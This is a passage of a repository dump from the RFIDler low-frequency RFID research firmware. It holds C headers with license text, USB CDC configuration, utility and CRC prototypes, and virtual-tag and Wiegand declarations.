    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#define UNIQUE_DATABITS     64\n\n\nBOOL unique_get_uid(BYTE *response);\nBOOL unique_hex_to_uid(BYTE *response, BYTE *hex);\nBOOL hex_to_unique_hex(unsigned char *unique, unsigned char *hex);\nBOOL unique_hex_to_hex(unsigned char *hex, unsigned char *unique);\nBOOL hex_to_unique_bin(unsigned char *unique, unsigned char *hex);\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/usb_config.h",
    "content": "/********************************************************************\r\n FileName:     \tusb_config.h\r\n Dependencies: \tAlways: GenericTypeDefs.h, usb_device.h\r\n               \tSituational: usb_function_hid.h, usb_function_cdc.h, usb_function_msd.h, etc.\r\n Processor:\t\tPIC18 or PIC24 USB Microcontrollers\r\n Hardware:\t\tThe code is natively intended to be used on the following\r\n \t\t\t\thardware platforms: PICDEM FS USB Demo Board, \r\n \t\t\t\tPIC18F87J50 FS USB Plug-In Module, or\r\n \t\t\t\tExplorer 16 + PIC24 USB PIM.  The firmware may be\r\n \t\t\t\tmodified for use on other USB platforms by editing the\r\n \t\t\t\tHardwareProfile.h file.\r\n Complier:  \tMicrochip C18 (for PIC18) or C30 (for PIC24)\r\n Company:\t\tMicrochip Technology, Inc.\r\n\r\n Software License Agreement:\r\n\r\n The software supplied herewith by Microchip Technology Incorporated\r\n (the Company) for its PIC Microcontroller is intended and\r\n supplied to you, the Companys customer, for use solely and\r\n exclusively on Microchip PIC Microcontroller products. The\r\n software is owned by the Company and/or its supplier, and is\r\n protected under applicable copyright laws. All rights are reserved.\r\n Any use in violation of the foregoing restrictions may subject the\r\n user to criminal sanctions under applicable laws, as well as to\r\n civil liability for the breach of the terms and conditions of this\r\n license.\r\n\r\n THIS SOFTWARE IS PROVIDED IN AN AS IS CONDITION. NO WARRANTIES,\r\n WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED\r\n TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\r\n PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. THE COMPANY SHALL NOT,\r\n IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL OR\r\n CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER.\r\n\r\n********************************************************************\r\n File Description:\r\n\r\n Change History:\r\n  Rev   Date         Description\r\n  1.0   11/19/2004   Initial release\r\n  2.1   02/26/2007   Updated for simplicity and to use common\r\n                     coding style\r\n *******************************************************************/\r\n\r\n/*********************************************************************\r\n * Descriptor specific type definitions are defined in: usbd.h\r\n ********************************************************************/\r\n\r\n#ifndef USBCFG_H\r\n#define USBCFG_H\r\n\r\n/** DEFINITIONS ****************************************************/\r\n#define USB_EP0_BUFF_SIZE\t\t64\t// Valid Options: 8, 16, 32, or 64 bytes.\r\n\t\t\t\t\t\t\t\t// Using larger options take more SRAM, but\r\n\t\t\t\t\t\t\t\t// does not provide much advantage in most types\r\n\t\t\t\t\t\t\t\t// of applications.  Exceptions to this, are applications\r\n\t\t\t\t\t\t\t\t// that use EP0 IN or OUT for sending large amounts of\r\n\t\t\t\t\t\t\t\t// application related data.\r\n\t\t\t\t\t\t\t\t\t\r\n#define USB_MAX_NUM_INT     \t1   // For tracking Alternate Setting\r\n\r\n//Device descriptor - if these two definitions are not defined then\r\n//  a ROM USB_DEVICE_DESCRIPTOR variable by the exact name of device_dsc\r\n//  must exist.\r\n#define USB_USER_DEVICE_DESCRIPTOR &device_dsc\r\n#define USB_USER_DEVICE_DESCRIPTOR_INCLUDE extern ROM USB_DEVICE_DESCRIPTOR device_dsc\r\n\r\n//Configuration descriptors - if these two definitions do not exist then\r\n//  a ROM BYTE *ROM variable named exactly USB_CD_Ptr[] must exist.\r\n#define USB_USER_CONFIG_DESCRIPTOR USB_CD_Ptr\r\n#define USB_USER_CONFIG_DESCRIPTOR_INCLUDE extern ROM BYTE *ROM USB_CD_Ptr[]\r\n\r\n//Make sure only one of the below \"#define USB_PING_PONG_MODE\"\r\n//is uncommented.\r\n//#define USB_PING_PONG_MODE USB_PING_PONG__NO_PING_PONG\r\n#define USB_PING_PONG_MODE USB_PING_PONG__FULL_PING_PONG\r\n//#define USB_PING_PONG_MODE USB_PING_PONG__EP0_OUT_ONLY\r\n//#define USB_PING_PONG_MODE USB_PING_PONG__ALL_BUT_EP0\t\t//NOTE: This mode is not supported in PIC18F4550 family rev A3 devices\r\n\r\n\r\n//#define USB_POLLING\r\n#define USB_INTERRUPT\r\n\r\n/* Parameter definitions are defined in usb_device.h */\r\n#define USB_PULLUP_OPTION USB_PULLUP_ENABLE\r\n//#define USB_PULLUP_OPTION USB_PULLUP_DISABLED\r\n\r\n#define USB_TRANSCEIVER_OPTION USB_INTERNAL_TRANSCEIVER\r\n//External Transceiver support is not available on all product families.  Please\r\n//  refer to the product family datasheet for more information if this feature\r\n//  is available on the target processor.\r\n//#define USB_TRANSCEIVER_OPTION USB_EXTERNAL_TRANSCEIVER\r\n\r\n// we're doing CDC serial so we need to be at least Full speed\r\n#define USB_SPEED_OPTION USB_FULL_SPEED\r\n//#define USB_SPEED_OPTION USB_LOW_SPEED //(not valid option for PIC24F devices)\r\n\r\n#define USB_SUPPORT_DEVICE\r\n\r\n#define USB_NUM_STRING_DESCRIPTORS 4\r\n\r\n//#define USB_INTERRUPT_LEGACY_CALLBACKS\r\n#define USB_ENABLE_ALL_HANDLERS\r\n//#define USB_ENABLE_SUSPEND_HANDLER\r\n//#define USB_ENABLE_WAKEUP_FROM_SUSPEND_HANDLER\r\n//#define USB_ENABLE_SOF_HANDLER\r\n//#define USB_ENABLE_ERROR_HANDLER\r\n//#define USB_ENABLE_OTHER_REQUEST_HANDLER\r\n//#define USB_ENABLE_SET_DESCRIPTOR_HANDLER\r\n//#define USB_ENABLE_INIT_EP_HANDLER\r\n//#define USB_ENABLE_EP0_DATA_HANDLER\r\n//#define USB_ENABLE_TRANSFER_COMPLETE_HANDLER\r\n\r\n/** DEVICE CLASS USAGE *********************************************/\r\n#define USB_USE_CDC\r\n\r\n/** ENDPOINTS ALLOCATION *******************************************/\r\n#define USB_MAX_EP_NUMBER\t    3\r\n\r\n/* CDC */\r\n#define CDC_COMM_INTF_ID        0x0\r\n#define CDC_COMM_EP              2\r\n#define CDC_COMM_IN_EP_SIZE      8\r\n\r\n#define CDC_DATA_INTF_ID        0x01\r\n#define CDC_DATA_EP             3\r\n#define CDC_DATA_OUT_EP_SIZE    64\r\n#define CDC_DATA_IN_EP_SIZE     64\r\n\r\n//#define USB_CDC_SUPPORT_ABSTRACT_CONTROL_MANAGEMENT_CAPABILITIES_D2 //Send_Break command\r\n#define USB_CDC_SUPPORT_ABSTRACT_CONTROL_MANAGEMENT_CAPABILITIES_D1 //Set_Line_Coding, Set_Control_Line_State, Get_Line_Coding, and Serial_State commands\r\n/** DEFINITIONS ****************************************************/\r\n\r\n#define RFIDLER_SERIAL_NUMBER_STRING_DESC_INDEX   3\r\n\r\n\r\n#endif //USBCFG_H\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/util.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define CRC16_MASK_CCITT          0x1021  // CRC-CCITT mask (ISO 3309, used in X25, HDLC)\n#define CRC16_MASK_ISO_11785      0x8408  // ISO 11785 animal tags\n#define CRC16_MASK_CRC16          0xA001  // standard CRC16 mask (used in ARC files)\n\n/*\n * Hitag Crypto support macros\n * These macros reverse the bit order in a byte, or *within* each byte of a\n * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)\n */\n#define rev8(X)   ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \\\n                  + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \\\n                  + (((X) << 5) &64) + (((X) << 7) &128) )\n#define rev16(X)  (rev8 (X) + (rev8 (X >> 8) << 8))\n#define rev32(X)  (rev16(X) + (rev16(X >> 16) << 16))\n#define rev64(X)  (rev32(X) + (rev32(X >> 32) << 32))\n\n\nBYTE approx(unsigned long number, unsigned long target, unsigned char percentage);\nunsigned int bcdtouint(BYTE *bcd, BYTE length);\nunsigned long long bcdtoulonglong(BYTE *bcd, BYTE length);\nvoid inttobinarray(BYTE *target, unsigned int source, unsigned int bits);\nvoid ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits);\nvoid ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits);\nvoid inttobinstring(BYTE *target, unsigned int source, unsigned int bits);\nvoid ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits);\nBOOL ulongtohex(BYTE *target, unsigned long source);\nBOOL ulonglongtohex(BYTE *target, unsigned long long source);\nunsigned int binarraytoint(BYTE *bin, BYTE length);\nunsigned long long binarraytolonglong(BYTE *bin, BYTE length);\nunsigned long binarraytoulong(BYTE *bin, BYTE length);\nBYTE hextobyte(BYTE *hex);\nvoid printhexreadable(BYTE *hex, BYTE maxlength);\nunsigned long hextoulong(BYTE *hex);\nunsigned long hexreversetoulong(BYTE *hex);\nunsigned long long hextoulonglong(BYTE *hex);\nunsigned long long hexreversetoulonglong(BYTE *hex);\nchar hextolonglong(unsigned long long *out, unsigned char *hex);\nunsigned int hextobinarray(unsigned char *target, unsigned char *source);\nunsigned int hextobinstring(unsigned char *target, unsigned char *source);\nunsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length);\nvoid hexprintbinarray(BYTE *bin, unsigned int length);\nunsigned int binstringtohex(unsigned char *target, unsigned char *source);\nunsigned int binstringtobinarray(BYTE *target, BYTE *source);\nvoid binstringtobyte(BYTE *target, unsigned char *source, BYTE length);\nvoid binarraytobinstring(BYTE *target, BYTE *source, unsigned int length);\nvoid printhexasbin(unsigned char *hex);\nvoid printbinashex(unsigned char *bin);\nvoid invertbinarray(BYTE *target, BYTE *source, unsigned int length);\nvoid invertbinstring(BYTE *target, BYTE *source);\nvoid printbinarray(unsigned char *bin, unsigned int length);\nunsigned char getbit(unsigned char byte, unsigned char bit);\nvoid bytestohex(unsigned char *target, unsigned char *source, unsigned int length);\nunsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length);\nunsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length);\nchar * strip_newline(char *buff);\nBOOL command_ack(BOOL data);\nBOOL command_nack(BYTE *reason);\nBOOL command_unknown(void);\nvoid ToUpper(char *string);\nvoid string_reverse(unsigned char *string, unsigned int length);\nBOOL string_byteswap(unsigned char *string, unsigned int length);\nBYTE parity(unsigned char *string, BYTE type, unsigned int length);\nunsigned long get_reader_pulse(unsigned int timeout_us);\nunsigned long get_reader_gap(unsigned int timeout_us);\nunsigned int crc_ccitt(BYTE *data, unsigned int length);\nunsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask);\nvoid space_indent(BYTE count);\nvoid xml_version(void);\nvoid xml_header(BYTE *item, BYTE *indent);\nvoid xml_footer(BYTE *item, BYTE *indent, BOOL newline);\nvoid xml_indented_text(BYTE *data, BYTE indent);\nvoid xml_item_text(BYTE *item, BYTE *data, BYTE *indent);\nvoid xml_item_decimal(BYTE *item, BYTE num, BYTE *indent);\nvoid xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent);\nvoid xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent);\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/vtag.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nvoid vtag_wipe(void);\nvoid vtag_dump(void);\nBOOL vtag_set_tag_type(BYTE *tagtype);\nvoid vtag_set_tag_from_type(BYTE tag);\nBOOL vtag_copy_from_tag(BYTE *tagtype, BYTE *pass);\nBOOL vtag_create_from_uid(BYTE *tagtype, BYTE source_tagtype, BYTE *uid);\nBOOL vtag_convert(BYTE *tagtype);\nBOOL vtag_write_to_tag(BYTE *pass);\nBOOL vtag_write_blocks(unsigned int startblock, BYTE *data);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/wiegand.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as 